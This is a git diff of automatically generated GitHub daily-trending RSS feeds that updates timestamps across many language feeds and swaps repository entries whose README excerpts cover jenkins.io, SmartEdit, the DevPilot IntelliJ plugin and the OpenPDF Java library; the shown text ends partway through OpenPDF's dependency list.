--- a/html/daily/index.xml
+++ b/html/daily/index.xml
@@ -1,7 +1,21 @@
GitHub HTML Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:09Z
+ 2023-12-13T01:34:13Z
Daily Trending of HTML in GitHub
+
+ jenkins-infra/jenkins.io
+ 2023-12-13T01:34:13Z
+ tag:github.com,2023-12-13:/jenkins-infra/jenkins.io
+
+ <p>A static site for the Jenkins automation server</p><hr><div class="imageblock">
<div class="content">
<a class="image" href="https://www.jenkins.io/"><img src="https://www.jenkins.io/images/jenkins-logo-title-dark.svg?sanitize=true" alt="jenkins logo title dark" width="400"></a>
</div>
</div>
<h1 id="_jenkins_io" class="sect0">jenkins.io</h1>
<div class="paragraph">
<p><span class="image"><a class="image" href="https://app.gitter.im/#/room/#jenkins/docs:matrix.org"><img src="https://badges.gitter.im/jenkinsci/docs.svg?sanitize=true" alt="docs"></a></span></p>
</div>
<div class="paragraph">
<p>This repository powers the <a href="https://jenkins.io/">Jenkins website</a>. This uses <a href="https://awestruct.github.io/">Awestruct</a> with <a href="https://asciidoctor.org">Asciidoctor</a> under the hood to provide a very useful and compelling web presence for the <a href="https://jenkins.io/">Jenkins automation server</a>.</p>
</div>
<div class="sect1">
<h2 id="_contributing">Contributing</h2>
<div class="sectionbody">
<div class="paragraph">
<p>If you’re interested in contributing to the site, please see our <a href="https://github.com/jenkins-infra/jenkins.io/raw/master/CONTRIBUTING.adoc">Contributing document</a></p>
</div>
<div class="paragraph">
<p>Documentation for Jenkins website maintenance is in the <a href="https://github.com/jenkins-infra/jenkins.io/raw/master/CONTRIBUTING.adoc#maintainer-guide">maintainers guidelines</a>.</p>
</div>
</div>
</div>
+
+
+ TencentARC/SmartEdit
+ 2023-12-13T01:34:13Z
+ tag:github.com,2023-12-13:/TencentARC/SmartEdit
+
+ <p></p><hr><p align="center"> <img src="https://yuzhou914.github.io/SmartEdit/assets/Logo.jpg" height="100"> </p>
<div align="center">
<h2>SmartEdit: Exploring Complex Instruction-based Image Editing with Multimodal Large Language Models</h2>
<p>[<a href="https://yuzhou914.github.io/SmartEdit/">Paper</a>] [<a href="https://yuzhou914.github.io/SmartEdit/">Project Page</a>] [Demo]
<be></be></p>
</div>
<p>We are currently organizing the code for SmartEdit may bring as soon as possible. If you are interested in our work, please star ⭐ our project. <br></p>
<h3>SmartEdit Framework</h3>
<p align="center"> <img src="https://yuzhou914.github.io/SmartEdit/assets/2-SmartEdit.jpg"> </p>
<h3>SmartEdit on Understanding Scenarios</h3>
<p align="center"> <img src="https://yuzhou914.github.io/SmartEdit/assets/3-Understanding.jpg"> </p>
<h3>SmartEdit on Reasoning Scenarios</h3>
<p align="center"> <img src="https://yuzhou914.github.io/SmartEdit/assets/4-Reasoning.jpg"> </p>
<h3>Citation</h3>
<pre><code>@article{huang2023smartedit,
title={SmartEdit: Exploring Complex Instruction-based Image Editing with Multimodal Large Language Models},
author={Yuzhou, Huang and Liangbin, Xie and Xintao, Wang and Ziyang, Yuan and Xiaodong, Cun and Yixiao, Ge and Jiantao, Zhou and Chao, Dong and Rui, Huang and Ruimao, Zhang and Ying, Shan},
booktitle={arXiv preprint arxiv:2312.04461},
year={2023}
}
</code></pre>
+
\ No newline at end of file
diff --git a/http/daily/index.xml b/http/daily/index.xml
index 134d933fcd0..0c662669134 100644
--- a/http/daily/index.xml
+++ b/http/daily/index.xml
@@ -1,7 +1,7 @@
GitHub HTTP Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:18Z
+ 2023-12-13T01:34:25Z
Daily Trending of HTTP in GitHub
\ No newline at end of file
diff --git a/hxml/daily/index.xml b/hxml/daily/index.xml
index eafe1a7cdf5..06f6e2be503 100644
--- a/hxml/daily/index.xml
+++ b/hxml/daily/index.xml
@@ -1,7 +1,7 @@
GitHub HXML Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:22Z
+ 2023-12-13T01:34:32Z
Daily Trending of HXML in GitHub
\ No newline at end of file
diff --git a/hy/daily/index.xml b/hy/daily/index.xml
index d8c5e569e5b..6987b864ee1 100644
--- a/hy/daily/index.xml
+++ b/hy/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Hy Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:21Z
+ 2023-12-13T01:34:33Z
Daily Trending of Hy in GitHub
\ No newline at end of file
diff --git a/hyphy/daily/index.xml b/hyphy/daily/index.xml
index 281b0602bc7..2e14dff2369 100644
--- a/hyphy/daily/index.xml
+++ b/hyphy/daily/index.xml
@@ -1,7 +1,7 @@
GitHub HyPhy Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:20Z
+ 2023-12-13T01:34:35Z
Daily Trending of HyPhy in GitHub
\ No newline at end of file
diff --git a/idl/daily/index.xml b/idl/daily/index.xml
index 7af16b979fd..0f61062c734 100644
--- a/idl/daily/index.xml
+++ b/idl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub IDL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:22Z
+ 2023-12-13T01:34:36Z
Daily Trending of IDL in GitHub
\ No newline at end of file
diff --git a/idris/daily/index.xml b/idris/daily/index.xml
index 076fd10031a..6a8e65ebbb9 100644
--- a/idris/daily/index.xml
+++ b/idris/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Idris Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:24Z
+ 2023-12-13T01:34:42Z
Daily Trending of Idris in GitHub
\ No newline at end of file
diff --git a/ignore-list/daily/index.xml b/ignore-list/daily/index.xml
index 059e087e07f..b45b8c9e402 100644
--- a/ignore-list/daily/index.xml
+++ b/ignore-list/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Ignore List Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:26Z
+ 2023-12-13T01:34:38Z
Daily Trending of Ignore List in GitHub
\ No newline at end of file
diff --git a/igor-pro/daily/index.xml b/igor-pro/daily/index.xml
index 4a6553439a0..ebed193718f 100644
--- a/igor-pro/daily/index.xml
+++ b/igor-pro/daily/index.xml
@@ -1,7 +1,7 @@
GitHub IGOR Pro Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:24Z
+ 2023-12-13T01:34:41Z
Daily Trending of IGOR Pro in GitHub
\ No newline at end of file
diff --git a/imagej-macro/daily/index.xml b/imagej-macro/daily/index.xml
index 19d95e7df66..3cd184ce0e7 100644
--- a/imagej-macro/daily/index.xml
+++ b/imagej-macro/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ImageJ Macro Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:25Z
+ 2023-12-13T01:34:39Z
Daily Trending of ImageJ Macro in GitHub
\ No newline at end of file
diff --git a/inform-7/daily/index.xml b/inform-7/daily/index.xml
index 4aac0cfb463..ae7d1602b0a 100644
--- a/inform-7/daily/index.xml
+++ b/inform-7/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Inform 7 Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:28Z
+ 2023-12-13T01:34:47Z
Daily Trending of Inform 7 in GitHub
\ No newline at end of file
diff --git a/ini/daily/index.xml b/ini/daily/index.xml
index 45dbc3c5811..155734237d4 100644
--- a/ini/daily/index.xml
+++ b/ini/daily/index.xml
@@ -1,7 +1,7 @@
GitHub INI Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:29Z
+ 2023-12-13T01:34:46Z
Daily Trending of INI in GitHub
\ No newline at end of file
diff --git a/inno-setup/daily/index.xml b/inno-setup/daily/index.xml
index 6db780562af..cddb8923562 100644
--- a/inno-setup/daily/index.xml
+++ b/inno-setup/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Inno Setup Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:33Z
+ 2023-12-13T01:34:51Z
Daily Trending of Inno Setup in GitHub
\ No newline at end of file
diff --git a/io/daily/index.xml b/io/daily/index.xml
index ff487a3a9d4..7795e326e6a 100644
--- a/io/daily/index.xml
+++ b/io/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Io Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:30Z
+ 2023-12-13T01:34:50Z
Daily Trending of Io in GitHub
\ No newline at end of file
diff --git a/ioke/daily/index.xml b/ioke/daily/index.xml
index da2231bb5db..d92f4b52486 100644
--- a/ioke/daily/index.xml
+++ b/ioke/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Ioke Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:31Z
+ 2023-12-13T01:34:52Z
Daily Trending of Ioke in GitHub
\ No newline at end of file
diff --git a/irc-log/daily/index.xml b/irc-log/daily/index.xml
index 084a99ddeab..f4c40f69a3c 100644
--- a/irc-log/daily/index.xml
+++ b/irc-log/daily/index.xml
@@ -1,7 +1,7 @@
GitHub IRC log Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:32Z
+ 2023-12-13T01:34:53Z
Daily Trending of IRC log in GitHub
\ No newline at end of file
diff --git a/isabelle-root/daily/index.xml b/isabelle-root/daily/index.xml
index b0c87a4f815..6c2128fe71c 100644
--- a/isabelle-root/daily/index.xml
+++ b/isabelle-root/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Isabelle ROOT Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:35Z
+ 2023-12-13T01:34:54Z
Daily Trending of Isabelle ROOT in GitHub
\ No newline at end of file
diff --git a/isabelle/daily/index.xml b/isabelle/daily/index.xml
index 368133aba6a..5cce8901709 100644
--- a/isabelle/daily/index.xml
+++ b/isabelle/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Isabelle Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:34Z
+ 2023-12-13T01:34:57Z
Daily Trending of Isabelle in GitHub
\ No newline at end of file
diff --git a/j/daily/index.xml b/j/daily/index.xml
index 8546407b933..3abfbba99d3 100644
--- a/j/daily/index.xml
+++ b/j/daily/index.xml
@@ -1,7 +1,7 @@
GitHub J Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:36Z
+ 2023-12-13T01:34:55Z
Daily Trending of J in GitHub
\ No newline at end of file
diff --git a/janet/daily/index.xml b/janet/daily/index.xml
index 4efc6271e74..b1c4ed8abea 100644
--- a/janet/daily/index.xml
+++ b/janet/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Janet Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:35Z
+ 2023-12-13T01:34:56Z
Daily Trending of Janet in GitHub
\ No newline at end of file
diff --git a/jar-manifest/daily/index.xml b/jar-manifest/daily/index.xml
index e5c89f6ac9b..1ed38f84973 100644
--- a/jar-manifest/daily/index.xml
+++ b/jar-manifest/daily/index.xml
@@ -1,7 +1,7 @@
GitHub JAR Manifest Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:37Z
+ 2023-12-13T01:35:00Z
Daily Trending of JAR Manifest in GitHub
\ No newline at end of file
diff --git a/jasmin/daily/index.xml b/jasmin/daily/index.xml
index af62e9b230f..03c5bd3e008 100644
--- a/jasmin/daily/index.xml
+++ b/jasmin/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Jasmin Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:39Z
+ 2023-12-13T01:34:59Z
Daily Trending of Jasmin in GitHub
\ No newline at end of file
diff --git a/java-properties/daily/index.xml b/java-properties/daily/index.xml
index 7bcf12bc323..b9e25e97c6a 100644
--- a/java-properties/daily/index.xml
+++ b/java-properties/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Java Properties Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:38Z
+ 2023-12-13T01:35:01Z
Daily Trending of Java Properties in GitHub
\ No newline at end of file
diff --git a/java-server-pages/daily/index.xml b/java-server-pages/daily/index.xml
index 639806099a5..a980ede5330 100644
--- a/java-server-pages/daily/index.xml
+++ b/java-server-pages/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Java Server Pages Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:47Z
+ 2023-12-13T01:35:18Z
Daily Trending of Java Server Pages in GitHub
\ No newline at end of file
diff --git a/java/daily/index.xml b/java/daily/index.xml
index 645485dd3db..f5a9d670e8f 100644
--- a/java/daily/index.xml
+++ b/java/daily/index.xml
@@ -1,14 +1,14 @@
GitHub Java Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:41Z
+ 2023-12-13T01:35:07Z
Daily Trending of Java in GitHub
- openpilot-hub/devpilot-intellij
- 2023-12-12T01:51:41Z
- tag:github.com,2023-12-12:/openpilot-hub/devpilot-intellij
-
- <p>Your new coding buddy, designed exclusively for IntelliJ IDEA.</p><hr><h1>Welcome to DevPilot: Your pair programming partner makes you a greater navigator</h1>
<p><a href="https://raw.githubusercontent.com/openpilot-hub/devpilot-intellij/main/README.md">English</a> | <a href="https://raw.githubusercontent.com/openpilot-hub/devpilot-intellij/main/README_ZH.md">中文</a></p>
<h2>Take a Glimpse</h2>
<p>Unleash the power of AI in your coding with DevPilot, your new coding buddy, designed exclusively for IntelliJ IDEA.</p>
<p>This innovative AI-based plugin is set to supercharge your development process.</p>
<h2>Stellar Features</h2>
<ol>
<li><strong>Intelligent Code Suggestions:</strong> Say goodbye to coding roadblocks! DevPilot dishes out real-time code suggestions as you type, understanding your context and serving up precise recommendations.</li>
<li><strong>Proactive Bug Detection:</strong> Keep bugs at bay! DevPilot spots potential bugs and errors before they become a problem, offering smart solutions and alternatives for efficient, error-free code.</li>
<li><strong>Code Refactoring:</strong> Level up your code! DevPilot helps optimize your code, providing insights on how to refactor and boost your code's structure and performance.</li>
<li><strong>Unit Test Generation:</strong> Testing made easy! DevPilot can generate unit testing code for you, making sure your code not only works as expected but is also ready for any future changes.</li>
<li><strong>Code Explanation:</strong> Don't just write code, understand it! DevPilot can explain unfamiliar code snippets, helping you grasp what's happening and learn faster.</li>
<li><strong>Auto-Comments:</strong> Keep your code clear! DevPilot can automatically add comments to your code, ensuring it's easy to understand and maintain.</li>
</ol>
<h2>Prerequisites</h2>
<ol>
<li>You will need an OpenAI API key / Codellama API endpoint before you use this plugin.</li>
<li>For use of Codellama, see <a href="https://github.com/openpilot-hub/codellama-deploy">deploy Codellama into you local environment</a>.</li>
</ol>
<h2>Installation</h2>
<p>Currently, the plugin has version requirements for IntelliJ IDEA. The minimum required version is 2021.2, make sure you have the appropriate version installed before attempting to use the plugin.</p>
<p>There are three ways for installing plugins:</p>
<ul>
<li> <p>IDEA official marketplace - currently in the beta testing phase and not yet available on the market. It will be available on the market after the release of the official version.</p> </li>
<li> <p>Installation via compressed package - select "install from disk" in the plugin page settings, and then import the zip package. The download link for the compressed package is available in <a href="https://github.com/openpilot-hub/devpilot-intellij/releases">Release page</a>. <img src="https://raw.githubusercontent.com/openpilot-hub/devpilot-intellij/main/doc/images/screenshot/cn/install_from_disk.png" alt="img.png"></p> </li>
<li> <p>Build from scratch</p>
<ol>
<li> <p>Clone this repository to your local machine. <code>git clone https://github.com/openpilot-hub/devpilot-intellij.git</code></p> </li>
<li> <p>Run the following command to build the project.</p> <p><code>./gradlew runIde</code></p> <p>If you are using windows, run the following command to build the project.</p> <p><code>gradlew.bat runIde</code></p> </li>
</ol> </li>
</ul>
<h2>Configuration</h2>
<p>After the successful installation of the plugin, you can find the configuration page of DevPilot in the Tools section of the IDEA settings page. open the settings with <kbd>command</kbd>+<kbd>,</kbd>,</p>
<p>then navigate to Tools ❯ DevPilot ❯ Service Configuration.</p>
<p><img src="https://raw.githubusercontent.com/openpilot-hub/devpilot-intellij/main/doc/images/screenshot/en/config.png" alt="configuration"></p>
<p>On the configuration page, you can switch the language of the plugin between multiple choices, as well as select different models and their addresses. The username will be displayed on the page during the conversation.<br> <img src="https://raw.githubusercontent.com/openpilot-hub/devpilot-intellij/main/doc/images/screenshot/en/settings.png" alt="settings"></p>
<h2>How to use</h2>
<p>In the dialog box, you can ask any question and send it by pressing Enter or using the send button. DevPilot will then provide an answer and display it on the current page.</p>
<p>Select a block of code, then right-click on the "DevPilot" option on the context menu.You can choose from one of:</p>
<ul>
<li>New DevPilot Chat</li>
<li>Generate Tests</li>
<li>Review Code</li>
<li>Generate Comments</li>
<li>Fix This</li>
<li>Performance Check</li>
<li>Explain This</li>
</ul>
<p><img src="https://raw.githubusercontent.com/openpilot-hub/devpilot-intellij/main/doc/images/screenshot/en/chat_menu.png" alt="menu"></p>
<p><strong>For example</strong>, select the code, right-click ❯ DevPilot ❯ Fix This.</p>
<p>Then, the window will automatically open and provide relevant suggestions for fixes. You can modify the code based on the suggestions.</p>
<h2>Plugin Functionality</h2>
<p>DevPilot provides developers with rich capabilities to help them eliminate the tedious work of writing test cases and comments, write more efficient code, and troubleshoot code issues, among other things.</p>
<h3>Chat with DevPilot</h3>
<p>The plugin supports chat, the conversation page can be opened through the right-click menu or the entry on the right sidebar.</p>
<p><img src="https://raw.githubusercontent.com/openpilot-hub/devpilot-intellij/main/doc/images/screenshot/en/menu_chat.png" alt="menu chat"></p>
<p>You can write questions in the dialogue box, send them by pressing enter or the send button, and OpenAI will provide answers and display them on the current page.</p>
<p><img src="https://raw.githubusercontent.com/openpilot-hub/devpilot-intellij/main/doc/images/screenshot/en/welcome.png" alt="welcome"></p>
<h3>Generate test cases</h3>
<p>Users can generate test cases through our plugin. Users can right-click on a selected method and click "Generate Tests".</p>
<p><img src="https://raw.githubusercontent.com/openpilot-hub/devpilot-intellij/main/doc/images/screenshot/en/menu_testcase.png" alt="menu testcase"></p>
<p>Afterward, a window will automatically open and the window will return the relevant test cases. Users can directly copy the test or choose to insert or replace the relevant code at the cursor position. They can even create a new test class file.</p>
<p><img src="https://raw.githubusercontent.com/openpilot-hub/devpilot-intellij/main/doc/images/screenshot/en/testcase_result.png" alt="testcase result"></p>
<h3>Generate comments</h3>
<p>Plugin supports the function of generating code comments. Users can right-click and select "Generate comments" after selecting a code block.</p>
<p><img src="https://raw.githubusercontent.com/openpilot-hub/devpilot-intellij/main/doc/images/screenshot/en/menu_gen_comments.png" alt="menu gen comments"></p>
<p>Afterward, the window will automatically open and return the relevant annotation results. The edited code will also automatically show the generated annotations and the original code in a diff format, allowing users to compare and accept the corresponding annotations.</p>
<h3>Fix bugs</h3>
<p>The plugin supports the ability to fix code. Users can right-click on "Fix This" after selecting a code block.</p>
<p><img src="https://raw.githubusercontent.com/openpilot-hub/devpilot-intellij/main/doc/images/screenshot/en/menu_fix_bug.png" alt="menu fix bug"></p>
<p>Afterward, the window will automatically open and provide relevant repair suggestions. Users can modify their code based on the suggestions.</p>
<p><img src="https://raw.githubusercontent.com/openpilot-hub/devpilot-intellij/main/doc/images/screenshot/en/fix_bug_result.png" alt="fix bugs result"></p>
<h3>Review code</h3>
<p>The plugin supports the ability to review code. Users can right-click on the selected code block and click "Review Code".</p>
<p><img src="https://raw.githubusercontent.com/openpilot-hub/devpilot-intellij/main/doc/images/screenshot/en/menu_code_review.png" alt="menu code review.png"></p>
<p>Afterward, the window will automatically open and return the relevant review results. Users can edit their code logic based on the results.</p>
<p><img src="https://raw.githubusercontent.com/openpilot-hub/devpilot-intellij/main/doc/images/screenshot/en/code_review_result.png" alt="review code result"></p>
<h3>Performance Check</h3>
<p>The plugin supports performance checking of code. Users can right-click on the selected code block and choose "Performance Check".</p>
<p><img src="https://raw.githubusercontent.com/openpilot-hub/devpilot-intellij/main/doc/images/screenshot/en/menu_performance_check.png" alt="menu performance check"></p>
<p>Afterward, the window will automatically open and return the relevant performance test results. Additionally, the optimized code and the original code will be automatically compared using diff in the editor, allowing users to optimize their code based on the results.</p>
<p><img src="https://raw.githubusercontent.com/openpilot-hub/devpilot-intellij/main/doc/images/screenshot/en/performance_check_result.png" alt="performance check result"></p>
<h3>Clear context</h3>
<p>The overall capabilities of the plugin are context-dependent, but the context may be polluted, and OpenAI or other large models may have token limitations that result in errors when exceeded. Therefore, we provide the ability to clean up by clicking the clear button in the upper right corner of the window, which will clear the entire session.</p>
<p><img src="https://raw.githubusercontent.com/openpilot-hub/devpilot-intellij/main/doc/images/screenshot/en/clear_context.png" alt="menu clear context"></p>
<h2>Roadmap</h2>
<p>At DevPilot, we are constantly working on expanding the capabilities of our AI-powered plugin to meet the evolving needs of our users. Our roadmap is a reflection of our commitment to continually improve and innovate.</p>
<h3>Near-Term Goals : integration with local LLM</h3>
<p>We weill soon support Codellama, an opensource LLM developed by Meta, into DevPilot. This will provide you with the ability to leverage the power of LLM directly in your local development environment, without sending any sensitive data to OpenAI.</p>
<p>With Codellama integration, users can expect:</p>
<ul>
<li>More accurate and context-specific code suggestions, Codellama has a 100k context length, so the suggestions it provides will be based on a deeper understanding of the code's context. This will significantly reduce the time developers spend on figuring out the appropriate code to use.</li>
<li>With its fine-tuning on a large codebase, Codellama can outperform ChatGPT in certain cases.</li>
</ul>
<h3>Long-Term Goals: Model as a Service (MaaS) Support</h3>
<p>Looking ahead, we plan to extend our capabilities further by supporting Model as a Service (MaaS). MaaS provides the ability for users to utilize AI models in a service-based manner, without the need for local deployment or maintenance. This feature will enable seamless access to the latest AI models without bearing the computational costs or complexities of managing these models locally.</p>
<p>By integrating MaaS into DevPilot, we aim to:</p>
<ul>
<li>Access the latest OpenAI models without the hassle of setting up a OpenAI API key.</li>
<li>Provide a plug-and-play solution for accessing state-of-the-art AI models</li>
<li>Allow developers to leverage the latest AI advancements without the need for local resources.</li>
<li>Offer a scalable solution that can grow with your project's needs.</li>
</ul>
<h2>Contributing</h2>
<p>See <a href="https://raw.githubusercontent.com/openpilot-hub/devpilot-intellij/main/CONTRIBUTING.md">CONTRIBUTING.md</a> for more information.</p>
<h2>Ping Us</h2>
<p>Got questions or suggestions, please contact us via email at <a href="mailto:pilot_group@zhongan.com">pilot_group@zhongan.com</a>.</p>
+ LibrePDF/OpenPDF
+ 2023-12-13T01:35:07Z
+ tag:github.com,2023-12-13:/LibrePDF/OpenPDF
+
+ <p>OpenPDF is a free Java library for creating and editing PDF files with a LGPL and MPL open source license. OpenPDF is based on a fork of iText. We welcome contributions from other developers. Please feel free to submit pull-requests and bugreports to this GitHub repository. ⛺</p><hr><h1>OpenPDF is an open source Java library for PDF files</h1>
<p>OpenPDF is a Java library for creating and editing PDF files with a LGPL and MPL open source license. OpenPDF is the LGPL/MPL open source successor of iText, and is based on some forks of iText 4 svn tag. We welcome contributions from other developers. Please feel free to submit pull-requests and bugreports to this GitHub repository.</p>
<p><img src="https://github.com/LibrePDF/OpenPDF/actions/workflows/maven.yml/badge.svg?sanitize=true" alt="CI"> <a href="https://maven-badges.herokuapp.com/maven-central/com.github.librepdf/openpdf"><img src="https://maven-badges.herokuapp.com/maven-central/com.github.librepdf/openpdf/badge.svg?sanitize=true" alt="Maven Central"></a> <a href="http://opensource.org/licenses/LGPL-2.1"><img src="https://img.shields.io/badge/license-GNU%20LGPL%20version%202.1-blue.svg?style=flat-square" alt="License (LGPL version 3.0)"></a> <a href="http://opensource.org/licenses/MPL-2.0"><img src="https://img.shields.io/badge/license-Mozilla%20Public%20License-yellow.svg?style=flat-square" alt="License (MPL)"></a></p>
<p><a href="https://gitter.im/LibrePDF/OpenPDF"><img src="https://badges.gitter.im/LibrePDF/OpenPDF.svg?sanitize=true" alt="Join the chat at https://gitter.im/LibrePDF/OpenPDF"></a></p>
<h2>OpenPDF version 1.3.34 released 2023-12-11</h2>
<p>Get version 1.3.34 here - <a href="https://github.com/LibrePDF/OpenPDF/releases/tag/1.3.34">https://github.com/LibrePDF/OpenPDF/releases/tag/1.3.34</a></p>
<ul>
<li><a href="https://github.com/LibrePDF/OpenPDF/releases">Previous releases</a></li>
</ul>
<h2>Use OpenPDF as Maven dependency</h2>
<p>Add this to your pom.xml file to use the latest version of OpenPDF:</p>
<pre><code class="language-xml">
<dependency>
<groupId>com.github.librepdf</groupId>
<artifactId>openpdf</artifactId>
<version>1.3.34</version>
</dependency>
</code></pre>
<h2>License</h2>
<p><a href="https://www.gnu.org/licenses/old-licenses/lgpl-2.1">GNU Lesser General Public License (LGPL), Version 2.1</a></p>
<p>For a short explanation see <a href="https://en.wikipedia.org/wiki/GNU_Lesser_General_Public_License">https://en.wikipedia.org/wiki/GNU_Lesser_General_Public_License</a></p>
<p><a href="http://www.mozilla.org/MPL/2.0/">Mozilla Public License Version 2.0</a></p>
<p>For a short explanation see <a href="https://en.wikipedia.org/wiki/Mozilla_Public_License">https://en.wikipedia.org/wiki/Mozilla_Public_License</a></p>
<p>You can find also a nice explanation of these licenses under <a href="https://itsfoss.com/open-source-licenses-explained/">https://itsfoss.com/open-source-licenses-explained/</a></p>
<p>We want OpenPDF to consist of source code which is consistently licensed with the LGPL and MPL licences only. This also means that any new contributions to the project must have a dual LGPL and MPL license only.</p>
<h2>Documentation</h2>
<ul>
<li><a href="https://raw.githubusercontent.com/LibrePDF/OpenPDF/master/pdf-toolbox/src/test/java/com/lowagie/examples">Examples</a></li>
<li><a href="https://librepdf.github.io/OpenPDF/docs-1-3-17/">JavaDoc</a></li>
<li><a href="https://github.com/LibrePDF/OpenPDF/wiki/Tutorial">Tutorial</a> (wiki, work in progress)</li>
<li><a href="https://github.com/LibrePDF/OpenPDF/wiki/Migrating-from-iText-2-and-4">Migration from iText, TIFF support</a></li>
</ul>
<h2>Background</h2>
<p>OpenPDF is open source software with a LGPL and MPL license. It is a fork of iText version 4, more specifically iText svn tag 4.2.0, which was hosted publicly on sourceforge with LGPL and MPL license headers in the source code, and LGPL and MPL license documents in the svn repository. Beginning with version 5.0 of iText, the developers have moved to the AGPL to improve their ability to sell commercial licenses.</p>
<p>OpenPDF ancestors in GitHub (in fork order):</p>
<ol>
<li><a href="https://github.com/rtfarte">@rtfarte</a> / <a href="https://github.com/rtfarte/OpenPDF">OpenPDF</a> - parent of LibrePDF/OpenPDF</li>
<li><a href="https://github.com/kulatamicuda">@kulatamicuda</a> / <a href="https://github.com/kulatamicuda/iText-4.2.0">iText-4.2.0</a></li>
<li><a href="https://github.com/daviddurand">@daviddurand</a> / <a href="https://github.com/daviddurand/iText-4.2.0">iText-4.2.0</a></li>
<li><a href="https://github.com/ymasory">@ymasory</a> / <a href="https://github.com/ymasory/iText-4.2.0">iText-4.2.0</a> - original parent on GitHub</li>
</ol>
<h2>Projects using OpenPDF</h2>
<ul>
<li>Spring Framework <a href="https://github.com/spring-projects/spring-framework">https://github.com/spring-projects/spring-framework</a></li>
<li>flyingsaucer <a href="https://github.com/flyingsaucerproject/flyingsaucer">https://github.com/flyingsaucerproject/flyingsaucer</a></li>
<li>Confluence PDF Export</li>
<li>Digital Signature Service - <a href="https://github.com/esig/dss">https://github.com/esig/dss</a></li>
<li>OpenCMS, Nuxeo Web Framework, QR Invoice Library and many closed source commercial applications as well.</li>
<li>Full list here: <a href="https://mvnrepository.com/artifact/com.github.librepdf/openpdf/usages">https://mvnrepository.com/artifact/com.github.librepdf/openpdf/usages</a></li>
</ul>
<h2>Android</h2>
<p>OpenPDF can be used with Android, more info here: <a href="https://github.com/LibrePDF/OpenPDF/wiki/Android-support">Android-support</a></p>
<h2>Contributing</h2>
<p>Release the hounds! Please send all pull requests. Make sure that your contributions can be released with a dual LGPL and MPL license. In particular, pull requests to the OpenPDF project must only contain code that you have written yourself. GPL or AGPL licensed code will not be acceptable.</p>
<h3>Coding Style</h3>
<ul>
<li>Code indentation style is 4 spaces.</li>
<li>Generally try to preserve the coding style in the file you are modifying.</li>
</ul>
<h2>Dependencies</h2>
<h3>Required Dependencies:</h3>
<ul>
<li>Java 8 or later is required to use OpenPDF. All versions Java 8 to Java OpenJDK 15 have been tested to work.</li>
</ul>
<h3>UTF-8 Fonts:</h3>
<p>As of 1.3.21 the UTF-8 Liberation fonts moved to its own module, to reduce the size of the OpenPDF jar. If you want to use the bundled UTF-8 fonts, please add the following dependency to your project and use the class <code>org.librepdf.openpdf.fonts.Liberation</code>.</p>
<pre><code class="language-xml"><dependency>
<groupId>com.github.librepdf</groupId>
<artifactId>openpdf-fonts-extra</artifactId>
<version>${openpdf.version}</version>
</dependency>
</code></pre>
<h3>Supporting complex glyph substitution/ Ligature substitution:</h3>
<p>OpenPDF supports glyph substitution which is required for correct rendering of fonts ligature substitution requirements. FOP dependency is required to enable this feature. Refer following wiki for details: <a href="https://github.com/LibrePDF/OpenPDF/wiki/Multi-byte-character-language-support-with-TTF-fonts">wiki</a></p>
<h3>Supporting OpenType layout, glyph positioning, reordering and substitution:</h3>
<p>OpenPDF supports OpenType layout, glyph positioning, reordering and substitution which is e.g. required for correct positioning of accents, the rendering of non-Latin and right-to-left scripts. OpenPDF supports DIN 91379. See: <a href="https://github.com/LibrePDF/OpenPDF/wiki/Accents,-DIN-91379,-non-Latin-scripts">wiki</a></p>
<h3>Optional:</h3>
<ul>
<li><a href="https://www.bouncycastle.org/">BouncyCastle</a> (BouncyCastle is used to sign PDF files, so it's a recommended dependency)
<ul>
<li>Provider (<code>org.bouncycastle:bcprov-jdk18on</code> or <code>org.bouncycastle:bcprov-ext-jdk18on</code> depending on which algorithm you are using)</li>
<li>PKIX/CMS (<code>org.bouncycastle:bcpkix-jdk18on</code>)</li>
</ul> </li>
<li>Apache FOP (<code>org.apache.xmlgraphics:fop</code>)</li>
